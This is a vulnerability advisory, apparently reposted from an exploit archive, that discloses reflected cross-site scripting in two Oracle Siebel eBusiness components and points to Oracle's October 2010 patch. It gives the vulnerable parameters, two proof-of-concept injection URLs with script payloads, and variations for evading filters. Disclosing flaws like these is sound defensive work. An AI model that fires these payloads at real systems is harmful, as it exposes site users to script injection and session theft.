Oracle Siebel eBusiness Application – Multiple XSS Vulnerabilities

==================================================================
Oracle Siebel eBusiness Application – Multiple XSS Vulnerabilities
==================================================================

Description
Security-Assessment.com has discovered that two components of the Siebel eBusiness Application Suite are vulnerable to reflected Cross Site Scripting attacks. The vulnerabilities can be exploited by both authenticated and unauthenticated remote users.
 
The following components have been found vulnerable:
    -   Siebel Web Engine;
    -   Siebel eBusiness Search Center.
 
Exploitation
The table below details where Cross Site Scripting was detected and which parameters are vulnerable:
 
Siebel Web Engine - Public page:
/eservice/"><script>alert(‘xss’)</script>.swe?SWECmd=Login
&SWECM=S
Some Siebel eBusiness Applications require the attacker to change
the injection using variations such as ">,‘>, %22%3E, ‘}, ‘) .
 
 
Siebel eBusiness Search Center - Only authenticated user can access this
page:
/start.swe?Id=%22%3E%3Cscript%3Ealert%28213%29%3C%2F
script%3E&SWEField=s_2_1_0_0&SWEFo=SWEForm2_0&SWENee
dContext=true&SWESP=false&SWERowIds=&SWEMethod=Find&
SWECmd=InvokeMethod&SWEVI=Search&SWEPOC=&SWETF=Searc
h&SWETargetView=&SWEDIC=false&SWEReqRowId=0&SWEView=
Find+View&SWETVI=&SWERowId=VRId-0&SWEC=4&SWEM=&SWEBI
D=1202770071&SWESPa=&SWEContainer=&SWETS=12027737651
09&SWETA=&SWEApplet=Find+Applet
 
Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -October 2010. Security-Assessment.com recommends all users of Oracle eBusiness Suite to upgrade to the latest version as soon as possible. For more information on the new release of Oracle eBusines Suite patch please refer to the release notes:
http://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=1210593.1



#  0day.today [2018-01-09]  #